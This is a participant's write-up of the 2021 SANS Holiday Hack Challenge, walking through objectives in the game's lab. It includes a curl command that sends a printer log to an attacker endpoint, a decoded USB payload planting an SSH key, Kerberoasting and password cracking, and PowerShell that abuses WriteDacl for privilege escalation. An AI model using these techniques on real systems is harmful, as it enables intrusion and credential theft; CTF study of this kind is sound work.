I participated the 2021 SANS Holiday Hack Challenge & KringleCon which held from middle December 2021 to 7th January 2021.
The prize term was over, but the challenge site is still working. So I recommend you to register and join this world if you haven't yet.
We can learn and have experienced many security categories from this game.
Even you can play last year's game from below link.
The 2020 SANS Holiday Hack Challenge
And, here is my writeup of last year's Holiday Hack ;)
2020 SANS Holiday Hack Challenge writeup (English) - 好奇心の足跡
I usually write the writeups of CTF in Japanese, but this time, I wrote the report in English and submitted it to the SANS. I also write in Japanese, so if you prefer in Japanese, please check below.
It was also something boring holidays this year because of rapid expansion of COVID in the UK, but thanks to this event, I had an exciting and meaningful time! I would like to express my sincere gratitude to everyone involved in planning and organizing this event, creating the challenges, and managing the site during the holidays.
I found and achieved
- 13 Objectives
- 30 achievements
I think I found and achieve all of the challenges.
Now, let's start my report. Here are the contents.
Contents
- Objectives
- 1) KringleCon Orientation
- 2) Where in the World is Caramel Santaigo?
- 3) Thaw Frost Tower's Entrance
- 4) Slot Machine Investigation
- 5) Strange USB Device
- 6) Shellcode Primer
- 7) Printer Exploitation
- 8) Kerberoasting on an Open Fire
- 9) Splunk!
- 10) Now Hiring!
- 11) Customer Complaint Analysis
- 12) Frost Tower Website Checkup
- 13) FPGA Programming
- Terminals
- Acknowledgments
Objectives
1) KringleCon Orientation
This Objective tells us how to poke around the KringleCon world, obtain the information, get and use items, and find & try the challenges.
Since this year was the second time to join the KringleCon for me, to tell the truth, I achieved this objective without knowing it. But I remember this kind of challenge is very helpful for a new-be.
2) Where in the World is Caramel Santaigo?
I found the terminal near Tangle Coalbox.
I guessed this challenge is OSINT category, by the conversation with the elf and terminal message.
From the information offered by Investigate menu, I got the features of the target elf and the next place he went. Then, chosen and go to the next place with Depart by sleigh menu. After moving to some places, I had enough information to specify the target elf. Then, I searched the elf by Visit InterRink menu and got the name of the elf. We also got the information of next place like the name of area, latitude and longitude, tourist attractions.
The below information are the hints about the target elf. I found that every time we open the terminal, the contents are different.
- The elf mentioned something about Stack Overflow and C#
- Oh, I noticed they had a Star Trek themed phone case.
- The elf got really heated about using spaces for indents.
I filtered the elf search system with above information, and only Sparkle Redberry
was remained. So he(she?) is the answer.
3) Thaw Frost Tower's Entrance
I talked to Greasy Gopherguts. He talked about Wi-Fi scanning around the North Pole and identifying a Wi-Fi network.
I remembered that I picked up an item named Wifi Dongle. So, I hopped around the North Pole pole, and scanned using the command below, which the dongle told me.
$ iwlist scanning
Because this challenge is for thawing and opening Frost Tower's frozen door, I went to near the entrance and tried. Then, the reply was returned.
$ iwlist scanning wlan0 Scan completed : Cell 01 - Address: 02:4A:46:68:69:21 Frequency:5.2 GHz (Channel 40) Quality=48/70 Signal level=-62 dBm Encryption key:off Bit Rates:400 Mb/s ESSID:"FROST-Nidus-Setup"
Go throw the details.
$ iwconfig wlan0 wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=22 dBm Retry:off RTS thr:off Fragment thr=7 B Power Management:on
Then, tried to connect to this network.
$ iwconfig wlan0 essid FROST-Nidus-Setup ** New network connection to Nidus Thermostat detected! Visit http://nidus-setup:8080/ to complete setup (The setup is compatible with the 'curl' utility)
Hooray! I got the connection. Let's connect to the site stated.
$ curl http://nidus-setup:8080/ ◈──────────────────────────────────────────────────────────────────────────────◈ Nidus Thermostat Setup ◈──────────────────────────────────────────────────────────────────────────────◈ ...(omit)... API The API for your Nidus Thermostat is located at http://nidus-setup:8080/apidoc
Check the API document.
$ curl http://nidus-setup:8080/apidoc ◈──────────────────────────────────────────────────────────────────────────────◈ Nidus Thermostat API ◈──────────────────────────────────────────────────────────────────────────────◈ The API endpoints are accessed via: http://nidus-setup:8080/api/<endpoint> Utilize a GET request to query information; for example, you can check the temperatures set on your cooler with: curl -XGET http://nidus-setup:8080/api/cooler Utilize a POST request with a JSON payload to configuration information; for example, you can change the temperature on your cooler using: curl -XPOST -H 'Content-Type: application/json' \ --data-binary '{"temperature": -40}' \ http://nidus-setup:8080/api/cooler ● WARNING: DO NOT SET THE TEMPERATURE ABOVE 0! That might melt important furniture Available endpoints ┌─────────────────────────────┬────────────────────────────────┐ │ Path │ Available without registering? │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/cooler │ Yes │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/hot-ice-tank │ No │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/snow-shower │ No │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/melted-ice-maker │ No │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/frozen-cocoa-dispenser │ No │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/toilet-seat-cooler │ No │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/server-room-warmer │ No │ └─────────────────────────────┴────────────────────────────────┘
Cool... Let's remember the objective. We have to warm this room because it's too chilly even the entrance door is frozen. I'm not registered, so I can use only /api/cooler
API. Oh, here is the nice sample. Let's try.
I'm not sure if this number is Celsius or Fahrenheit, but I've set the temperature to 0
(the allowed maximum).
$ curl -XPOST -H 'Content-Type: application/json' \ --data-binary '{"temperature": 0}' \ http://nidus-setup:8080/api/cooler
This command worked. The ice was melt and the door was opened.
4) Slot Machine Investigation
After visiting the specified site, such a slot game has begun.
With normally playing, I could gain some coins but not quite up to 1000.
I used BurpSuite and proxy to the connection, and checked the sent value.
betamount=1&numline=20&cpl=0.1
When I changed betamount
to minus, it returned an error. So I changed cpl
to minus (-100
). Then, I found my credit is increased and response changed.
This response is the answer. I'm a beginner user of BurpSuite, but I found it's a very useful and required tool.
5) Strange USB Device
At this objective, we use Strange USB Device terminal which is at Speaker UNPreparation Room.
The question is,
What is the troll username involved with this attack?
and the terminal shows below message at the last.
Evaluate the USB data in /mnt/USBDEVICE.
I checked the situation and the terminal.
$ ls mallard.py* $ ls /mnt/USBDEVICE/ inject.bin $ python mallard.py usage: mallard.py [-h] [--file FILE] [--no_analyze] [--output_file OUTPUT_FILE] [--analysis_file ANALYSIS_FILE] [--debug] optional arguments: -h, --help show this help message and exit --file FILE, -f FILE The file to decode, default: inject.bin --no_analyze, -A Include this switch to turn off analysis of the duckyfile --output_file OUTPUT_FILE, -o OUTPUT_FILE File to save decoded ducky script to. Default will print duckyfile to screen. --analysis_file ANALYSIS_FILE Location to output analysis. Default will print analysis to screen. --debug Enable Debug Logging.
I see. This python script is for analyzing some kind of file, and the usage is --analysis_file <filename>
. Let's execute.
$ cp /mnt/USBDEVICE/inject.bin . $ python mallard.py --analysis_file inject.bin ENTER ...(omit)... STRING echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc ENTER DELAY 200 STRING echo ==gCzlXZr9FZlpXay9Ga0VXYvg...(omit)...bVBSYzJXLoN3cnAyboNWZ | rev | base64 -d | bash ENTER DELAY 600 STRING history -c && rm .bash_history && exit ENTER DELAY 600 GUI q
quite long output, but my attention was drawn to the last reversed base64 part. Let's decode it.
$ echo ==gCzlXZr...(omit)... | rev | base64 -d echo 'ssh-rsa Um...(omit)... ickymcgoop@trollfun.jackfrosttower.com' \ >> ~/.ssh/authorized_keys
I got it. The username is ickymcgoop
.
6) Shellcode Primer
The following sites are available.
We can learn the basic shellcode technique here! Let's try the challenges step by step.
1. Introduction
Just execute the code already stated. After executing, we can see a step-by-step view of the stack as it runs like that. What a wonderful system for learning!
2. Loops
Also just execute. We can see how to state the loop code.
3. Getting Started
Just added ret
at the last part. Code requires the ret
code for returning.
4. Returning a Value
Fill the value to rax
, and return.
mov rax, 1337 ret
5. System Calls
I Referred this site for system call number. sys_exit
is num 60, so fill rax
with 60.
rax mov rax, 60 mov rdi, 99 syscall
6. Calling Into the Void
Just execute the prepared code, and check the debugger & result. This small challenge was useful to understand push
behavior for me.
7. Getting RIP
We learn how to labeling and call the label.
; Remember, this call pushes the return address to the stack call place_below_the_nop ; This is where the function *thinks* it is supposed to return nop ; This is a 'label' - as far as the call knows, this is the start of a function place_below_the_nop: ; Pop the top of the stack into rax pop rax ; Return from our code, as in previous levels ret
I'll use this technique for after small challenges.
8. Hello, World!
Return "Hello World" using the label learned above.
; This would be a good place for a call call place_hello ; This is the literal string 'Hello World', null terminated, as code. Except ; it'll crash if it actually tries to run, so we'd better jump over it! db 'Hello World',0 ; This would be a good place for a label and a pop place_hello: pop rax ; This would be a good place for a re... oh wait, it's already here. Hooray! ret
9. Hello, World!!
This time, we have to output "Hello World" to stdout. From the syscall table above, sys_write
is no.1.
; TODO: Get a reference to this string into the correct register call place_hello db 'Hello World!',0 place_hello: ; Set up a call to sys_write ; TODO: Set rax to the correct syscall number for sys_write mov rax, 1 ; TODO: Set rdi to the first argument (the file descriptor, 1) mov rdi, 1 ; TODO: Set rsi to the second argument (buf - this is the "Hello World" string) pop rsi ; TODO: Set rdx to the third argument (length of the string, in bytes) mov rdx, 12 ; Perform the syscall syscall ; Return cleanly ret
10. Opening a File
This challenge is for opening a file. Very similar to call No.9, but the syscall is not sys_write
(1) but sys_open
(2).
I omit the this code for report limitation :)
11. Reading a File
The final challenge. I have to open a file, and read it. But I don't know the size of the file.
I could assemble the outline with the knowledge of previous challenges and the comments on the code. The arguments of sys_read
can be chosen from syscall table and challenge statement.
; TODO: Get a reference to this call place_secret db '/var/northpolesecrets.txt',0 place_secret: ; TODO: Call sys_open mov rax, 2 pop rdi mov rsi, 0 mov rdx, 0 syscall ; TODO: Call sys_read on the file handle and read it into rsp mov rdi, rax mov rax, 0 mov rsi, rsp mov rdx, 500 syscall ; TODO: Call sys_write to write the contents from rsp to stdout (1) mov rax, 1 mov rdi, 1 mov rsi, rsp mov rdx, 500 syscall ; TODO: Call sys_exit mov rax, 60 mov rdi, 0 syscall
I set a suitable value with sufficient length (500). After I solved this challenge, I checked the cheat site and found that I can get the length from
mov rdx, rax
from sys_read
output.
The last callenge's output(stdout) is,
Secret to KringleCon success: all of our speakers and organizers, providing the gift of cyber security knowledge, free to the community.
This is the answer of this objective.
7) Printer Exploitation
I touched and investigated the printer which on the Jack's office's desk.
The hints from Ruby Cyster are below.
- Look the firmware first
- The last one is processed when we append multiple files of "that" type
- Hash Extension Attack
- The error message is important
- We access to shell at last
Then, let's check up the Firmware update page.
I poked around this page, and found that I have to upload some file in JSON format. Looking more carefully, I found the link in the bottom says "Download current firmware". I guess that I should change this file and exploit it by firmware update function.
I got the current firmware file named firmware-export.json
. The value of firmware
is encoded by base64, and signature
is "SHA256".
At first, I decoded the firmware
, and find the file format.
$ echo "(...omit...)FBgAAAAABAAEAUgAAALAJAAAAAA==" | base64 -D > firmware $ file firmware firmware: Zip archive data, at least v2.0 to extract
It was zip file. Let's unzip it.
$ unzip firmware Archive: firmware inflating: firmware.bin $ file firmware.bin firmware.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fc77960dcdd5219c01440f1043b35a0ef0cce3e2, not stripped
The ELF file. I tried to calculate the hash of this firmware or zip file and check them whether match to the current file's one, but all hashes were unmatched. I re-checked the everything I had again, and configure that the signature hash was generated from <16 digit secret><original binary>
It makes sense. The next hint Hash Extension Attack can be used under this situation.
I checked the Hash length Extension Attack which introduced in the hint.
What I want to do is, obtain the hash of <secret><original_data><attack_payload>
based from the hash of <secret><original_data>
data and original_data
. The <secret>
is unknown, and hash algorithm is SHA256.
In the site above, I found the summary
TL;DR: given a hash that is composed of a string with an unknown prefix, an attacker can append to the string and produce a new hash that still has the unknown prefix.
Wow, it is just my situation! I can use this. In this site, the below tool is introduced.
Hash Extender by Ron Bowes ron@skullsecurity.net
Let's install and use it.
$ git clone https://github.com/iagox86/hash_extender.git $ cd hash_extender $ make [CC] hash_extender.o ...(omit)... [LD] hash_extender_test $ ./hash_extender --filie ../firmware.bin --secret 16 --append append --signature e0b5855c6dd61ceb1e0a...(omit)...
Tried with some arguments, a hash was generated. The environment is ready.
When I created a malicious executable file for attack and uploaded it, the error says that the bin should be the same name as firmware.bin
. I found the file name should be it.
I want to read the file /var/spool/printer.log
on the printer finally. I thought I could use the shellcode which we learned at previous challenge, but at first, I tried the normal curl command.
curl -X POST [https://MY_ENDPOINT] --data-binary @/var/spool/printer.log
This is the command which I wrote to my malicious firmware.bin
. If the printer execute this command, it will send the target file to MY_ENDPOINT
.
Let's zip this script, and calculate new hash with hash_extender
. I outputted the zip as hex once, and input the hex to the tool.
$ zip -r firmware.zip firmware.bin $ xxd -p firmware.zip | tr -d '\n' 504b030414000000080008bb8f53(...omitted...) $ ./hash_extender/hash_extender --file original_firmware.zip --secret 16 \ --signature e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 \ --format sha256 --append-format=hex --append "504b030414000(...omitted...)"
I set the signature to firmware_exploit.json
's signature
, and base64 encode the malicious zip, and set it to firmware
value.
Then, uploaded the file and waited. After a while, an access came to my prepared endpoint.
Documents queued for printing ============================= Biggering.pdf Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf LowEarthOrbitFreqUsage.txt Best Winter Songs Ever List.doc Win People and Influence Friends.pdf Q4 Game Floor Earnings.xlsx Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml Troll_Pay_Chart.xlsx
The last file name of excel is the answer.
After solving this, I thought I could use the endpoint /app/lib/public/incoming
in the hint ;)
8) Kerberoasting on an Open Fire
This challenge was, the most hard one for me. I got 6 hints from Eve Snowshoes, and I guessed this challenge is related AD hacking, Kerberos certification, and hash cracking. Especially AD hacking and Kerberos system, it was completely new for me. In addition, I'm not used to windows system nor PowerShell. So I learned from this challenge a lot of new things, and it took a lot of time.
At first, I went to the site from the challenge statement. I found the register site and registered with rubbish information.
Then, got the username and password for connect to grades.elfu.org:2222
. This credential will expired about 24 hours or the server reseted regularly. Even the credential expired, we can generate another one and use it.
Fast forward, I connected to the server and see an application works.
We can see the courses and grades which I guess Elf University provides, and that's all.
I exited this program with menu e
, and the also connection has closed. Then, I tried to exit this application with Ctrl + C
or Ctrl + Z
, and the application said "You may only type 'exit' to leave the exam!".
Now, the first challenge seems to be exit this application and get the control of this terminal.
I tried many shortcuts and googled. Then I got python interpreter with Ctrl + D
key. It seems useful. Let's try some commands.
>>> os.getcwd()
'/home/{username}'
Then, let's try to start shell.
>>> os.system('/bin/sh') $ $ ls core $ pwd /home/{username}
Yes, I can use it.
I was not sure what should I do next, so I poked around, and read the hints. Then, I guessed this challenge is for AD something, and I should find the Domain Controller first.
Then, I got my routing table with the Finding Domain Controllers hint.
$ ip route default via 172.17.0.1 dev eth0 10.128.1.0/24 via 172.17.0.1 dev eth0 10.128.2.0/24 via 172.17.0.1 dev eth0 10.128.3.0/24 via 172.17.0.1 dev eth0 172.17.0.0/16 dev eth0 proto kernel scope link src 172.17.0.2
As the hint says, I paid attention to 10.x.x.x
and did nmap
with option in the hint.
$ nmap -PS22,445 10.128.1.0/24 Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-31 08:37 UTC ...(omit)... Nmap scan report for hhc21-windows-dc.c.holidayhack2021.internal (10.128.1.53) Host is up (0.00045s latency). Not shown: 988 filtered ports PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server
I found this machine, which has the function for DC. I want to connect this machine, but there is no open port for ssh. While watching this port list, I noticed the port 135/tcp open msrpc
which is unfamiliar for me. After some googling, I found the site states about this port.
Microsoft Remote Procedure Call, also known as a function call or a subroutine call, is a protocol that uses the client-server model in order to allow one program to request service from a program on another computer without having to understand the details of that computer's network.
Wow, it seems usable. And more, googling about msrpc
and linux
, I found the word samba
. When I had poked around this machine, I found the samba
module. I also found the tool rpcclient
which seems also usable.
I refered here and connected to the DC server.
$ rpcclient 10.128.1.53 Enter WORKGROUP\{username}'s password: rpcclient $>
Connected! Now, I can get the list of Domain Users, Groups, SIDs, RIDs, and permissions. Here is the partial list of useful information.
User List
rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[admin] rid:[0x3e8] user:[elfu_admin] rid:[0x450] user:[elfu_svc] rid:[0x451] user:[remote_elf] rid:[0x452] user:[ulyssesross] rid:[0x455] user:[bobolson] rid:[0x457] user:[raulpenrod] rid:[0x459] ... user:[test] rid:[0x60f] user:[qcljgnpsjl] rid:[0x610] ...
We can found the prepared users, users for shares, and dynamically created users.
Group List
rpcclient $> enumdomgroups group:[Enterprise Read-only Domain Controllers] rid:[0x1f2] group:[Domain Admins] rid:[0x200] group:[Domain Users] rid:[0x201] group:[Domain Guests] rid:[0x202] group:[Domain Computers] rid:[0x203] group:[Domain Controllers] rid:[0x204] group:[Schema Admins] rid:[0x206] group:[Enterprise Admins] rid:[0x207] group:[Group Policy Creator Owners] rid:[0x208] group:[Read-only Domain Controllers] rid:[0x209] group:[Cloneable Domain Controllers] rid:[0x20a] group:[Protected Users] rid:[0x20d] group:[Key Admins] rid:[0x20e] group:[Enterprise Key Admins] rid:[0x20f] group:[DnsUpdateProxy] rid:[0x44f] group:[RemoteManagementDomainUsers] rid:[0x453] group:[ResearchDepartment] rid:[0x454] group:[File Shares] rid:[0x5e7]
I searched the share which can access. I used the samba
for this. (rpcclient
also can be used.) I refered here to use samba commands.
$ smbclient -L 10.128.3.30 Enter WORKGROUP\{username} password: Sharename Type Comment --------- ---- ------- netlogon Disk sysvol Disk elfu_svc_shr Disk elfu_svc_shr research_dep Disk research_dep IPC$ IPC IPC Service (Samba 4.3.11-Ubuntu)
This IP address was obtained by nmap
. The commented shares are suspicious...
Then, I watched the talk movie more carefully again. He executed the GetUserSPNs
script and obtained the Password hash of Kerberos, and use hashcat
to crack it. From other hints, this seems the correct route.
I couldn't find the way to get the script into this terminal, but found the target script in the machine.
$ find . -name GetUserSPNs.py 2>&1 | grep -v "Permission denied" ./usr/local/bin/GetUserSPNs.py
And, I had to know the domain name of LDAP, so I searched it with nmap
.
Nmap scan report for 10.128.3.30 Host is up (0.0012s latency). PORT STATE SERVICE VERSION 389/tcp open ldap Microsoft Windows Active Directory LDAP \ (Domain: elfu.local, Site: Default-First-Site-Name) | ldap-rootdse: | LDAP Results ...
Ok, I found it. It's elf.local
. Let's try GetUserSPNs
. I used the same options as the movie.
$ python3 /usr/local/bin/GetUserSPNs.py -outputfile spns.txt \ -dc-ip 10.128.1.53 elfu.local/{username}:'{password}!' -request Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation ----------------------------------- -------- -------- -------------------------- -------------------------- ---------- ldap/elfu_svc/elfu elfu_svc 2021-10-29 19:25:04.305279 2021-12-31 12:03:28.706361 ldap/elfu_svc/elfu.local elfu_svc 2021-10-29 19:25:04.305279 2021-12-31 12:03:28.706361 ldap/elfu_svc.elfu.local/elfu elfu_svc 2021-10-29 19:25:04.305279 2021-12-31 12:03:28.706361 ldap/elfu_svc.elfu.local/elfu.local elfu_svc 2021-10-29 19:25:04.305279 2021-12-31 12:03:28.706361
It seems work! I got the elfu_svc
user's password hash.
$ cat spns.txt $krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$5e4faad2759ffefe6f9...
I copied this value to my machine.
Before cracking this hash with hashcat, I have to pay attention to another hints. By the hints, I have to
- Specify OneRuleToRuleThemAll.rule as a rule file
- Generate the password dictionaly with CeWL
- When I use CeWL, I should better to use option to include digits
Then, I generated the word list with CeWL. I use the /register
site because this was the only site we given.
$ git clone https://github.com/digininja/CeWL.git $ cd CeWL $ ./cewl.rb https://register.elfu.org/register --with-numbers > ../cewl.txt
Then, I got the wordlist. The option to include digits was --with-numbers
.
Now, try hashcat.
$ git clone https://github.com/NotSoSecure/password_cracking_rules.git $ hashcat -m 13100 -a 0 spns.txt --potfile-disable \ -r password_cracking_rules/OneRuleToRuleThemAll.rule \ --force -O -w 4 --opencl-device-types 1,2 cewl.txt -o cracked.txt hashcat (v6.1.1) starting... ...(omit)... $krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$5e4faad2759ffe ...(omit)... 4d20544644dd4b4717f981be3518:Snow2021! Session..........: hashcat Status...........: Cracked Hash.Name........: Kerberos 5, etype 23, TGS-REP Hash.Target......: $krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_sv...be3518 Time.Started.....: Fri Dec 31 10:57:33 2021, (5 secs) Time.Estimated...: Fri Dec 31 10:57:38 2021, (0 secs) Guess.Base.......: File (cewl.log) Guess.Mod........: Rules (password_cracking_rules/OneRuleToRuleThemAll.rule) ...(omit)...
Cracked!!! Then, I got the user elfu_svc
and password Snow2021!
.
I saw this username in the userlist, and similar share name. Let's access to the share with this account.
$ smbclient -U 'elfu_svc' \\\\10.128.3.30\\elfu_svc_shr smb: \> ls ...(omit) smb: \> get GetProcessInfo.ps1 getting file \GetProcessInfo.ps1 of size 699 as GetProcessInfo.ps1 (682.6 KiloBytes/sec) (average 682.6 KiloBytes/sec)
With ls
command, I found many PowerShell scripts in the directory. I watched the talk movie again, and found the same name script GetProcessInfo.ps1
which is used in the talk. The script was,
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA" $aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7 $aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass) ...(ommit)
Oh, here is the credential of remote_elf
! Then, I added below script to make remote session with reference to hint site's code, and named it remote_session.ps1
Enter-PSSession -ComputerName 10.128.1.53 -Credential $aCred -Authentication Negotiate
Let's execute this scirpt!
$ pwsh PS /home/{username}}> ./remote_session.ps1 [10.128.1.53]: PS C:\Users\remote_elf\Documents>
Hooray! Connected! I expected to see the another share which couldn't see with elfu_evc account with this remote_efl account, but I couldn't.
I counfirmed the share names, groups, users again. And guessed ResearchDepartment
group member may have the access permission for research_dep
share. In this group, the test
user and other some dynamically generated users were. It's suspicious...
I fetched the information of this group.
[10.128.1.53]: PS C:\Users\remote_elf\Documents> Get-ADGroup ResearchDepartment DistinguishedName : CN=Research Department,CN=Users,DC=elfu,DC=local GroupCategory : Security GroupScope : Global Name : Research Department ObjectClass : group ObjectGUID : 8dd5ece3-bdc8-4d02-9356-df01fb0e5f3d SamAccountName : ResearchDepartment SID : S-1-5-21-2037236562-2033616742-1485113978-1108
Now, I got the CN
of this group.
Then, as the talk movie, let's fetch the detail of this group information.
$ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local" $ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])
Below is the partiall response.
ActiveDirectoryRights : WriteDacl InheritanceType : None ObjectType : 00000000-0000-0000-0000-000000000000 InheritedObjectType : 00000000-0000-0000-0000-000000000000 ObjectFlags : None AccessControlType : Allow IdentityReference : ELFU\remote_elf IsInherited : False InheritanceFlags : None PropagationFlags : None
Wow, remote_elf has the rights WriteDacl
for this research department group! Wonderful!
Then, with reference to next chrisd's script, grant "GenericAll" permission to my user by remote_elf.
Add-Type -AssemblyName System.DirectoryServices $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local" $username = "{username}" $nullGUID = [guid]'00000000-0000-0000-0000-000000000000' $propGUID = [guid]'00000000-0000-0000-0000-000000000000' $IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\$username")).Translate([System.Security.Principal.SecurityIdentifier]) $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ` ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ` ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString $secOptions = $domainDirEntry.get_Options() $secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl $domainDirEntry.RefreshCache() $domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE) $domainDirEntry.CommitChanges() $domainDirEntry.dispose()
I checked the Research Department group after a while,
$ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local" $ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount]) ...(omit) ActiveDirectoryRights : GenericAll InheritanceType : None ObjectType : 00000000-0000-0000-0000-000000000000 InheritedObjectType : 00000000-0000-0000-0000-000000000000 ObjectFlags : None AccessControlType : Allow IdentityReference : ELFU\{username} IsInherited : False InheritanceFlags : None PropagationFlags : None
"GenericAll" right was granted to my user! Don't forget to join me to this group. With reference to the next chrisd's script, I joined my user to Research Department group by remote_elf.
Add-Type -AssemblyName System.DirectoryServices $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local" $username = "{username}" $password = "{password}" $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password $user = New-Object System.Security.Principal.NTAccount("elfu.local\$username") $sid=$user.Translate([System.Security.Principal.SecurityIdentifier]) $b=New-Object byte[] $sid.BinaryLength $sid.GetBinaryForm($b,0) $hexSID=[BitConverter]::ToString($b).Replace('-','') $domainDirEntry.Add("LDAP://<SID=$hexSID>") $domainDirEntry.CommitChanges() $domainDirEntry.dispose()
After a while, I fetched the group information by rpcclient
.
$ rpcclient 10.128.1.53 Enter WORKGROUP\{username} password: rpcclient $> querygroupmem 0x454 // Research Department rid:[0x60f] attr:[0x7] rid:[0x610] attr:[0x7] rid:[0x613] attr:[0x7] rid:[0x618] attr:[0x7] rid:[0x61b] attr:[0x7] rid:[0x61e] attr:[0x7] -> it was me!
My account was added to the group!
Then, let's access to the share research_dep
.
$ smbclient -U '{username}' \\\\172.17.0.3\\research_dep Enter WORKGROUP\{username}'s password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Dec 2 16:39:42 2021 .. D 0 Fri Dec 31 08:01:26 2021 SantaSecretToAWonderfulHolidaySeason.pdf N 173932 Thu Dec 2 16:38:26 2021 41089256 blocks of size 1024. 33388056 blocks available smb: \> get SantaSecretToAWonderfulHolidaySeason.pdf getting file \SantaSecretToAWonderfulHolidaySeason.pdf of size 173932 as SantaSecretToAWonderfulHolidaySeason.pdf (56616.6 KiloBytes/sec) (average 56618.5 KiloBytes/sec)
I found the suspicious PDF file. I couldn't see this file on the machine because I had no GUI, and couldn't find the scp
way properly, I encoded this file in base64 and copy the strings to my machine.
$ cat SantaSecretToAWonderfulHolidaySeason.pdf | base64 JVBERi0xLjMKJcTl8uXrp/Og0MTGCjMgMCBvYmoKPDwgL0ZpbHRlciAvRmxhdGVEZWNvZGUgL0xl bmd0aCA0OTc5ID4+CnN0cmVhbQp4AbWc23LkyHGG7/EUsGd2SO5MNxvHblhryZZ2tZJ8Y0cwQhem LhwTK8uOGcu7Y7+/v78yARSqwCXQpGMi2NOFQlYe/jxUotA/lv9S/lje/+ZLVX78Up7Cvy8fGTod ...(omit)
And decoded it on my machine. Finally, I got such PDF file!!!
Reading this PDF and challenge statement, the answer was the word of top of the list.
As I said at the beginning of this challenge, I was completely a beginner of AD hacking or Powershell. But thanks to the plenty of hints, detail explanatory talk video, and reference scripts, I managed to achieve this challenge!
9) Splunk!
We have some small challenges. With completing the last challenge, we get the answer for the Objective.
There are some useful queries link at this page.
We can learn how to write the query in splunk, or how to use the GUI of the splunk. This time, I found how useful the GUI is!
Task 1
The initial query was
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational
I add the query below and clicked CommandLine
with left menu. Then it shows the command after in order of frequency.
| search "git "
Then, answer is git status
which has the top frequency.
Task 2
I searched with below query.
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational | search "git remote add"
And found the command below
CommandLine = git remote add origin git@github.com:elfnp3/partnerapi.git
The part after git@
is the answer.
Task 3
I couldn't find something with the query word docker run
. Then, I tried up
word for query. Then, got 2 CommandLines. The one of them was,
CommandLine = docker compose up
This is the answer. Eddie used docker compose.
Task 4
I clicked sourcetype
on the left menu, and found 8 values. I guessed github_json
is suspicious from the statements of this challenge, and clicked it.
It showed some histories. The repositories other than previous one was only elfnp3/dvws-node
. I searched elfnp3
user on Github.
So cute. On the top-left of the elfnp3/dvws-node
repository page, there's the information that from which repository this was forked. The Url is the answer.
Task 5
I queried with the word npm
,
index=main | search "npm "
and found some CommandLine histories. Then, checked the CommandLine
menu on the left sidebar, I found the suspicious commandline.
CommandLine = /usr/bin/env node /usr/bin/npm install holiday-utils-js
The tool name is the answer.
Task 6
The link in this challenge, there's already constructed query.
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) | stats count by dest_ip dest_port
I can find the 2 ip addresses, and one is git. So I clicked the another one dest_ip="54.175.69.219"
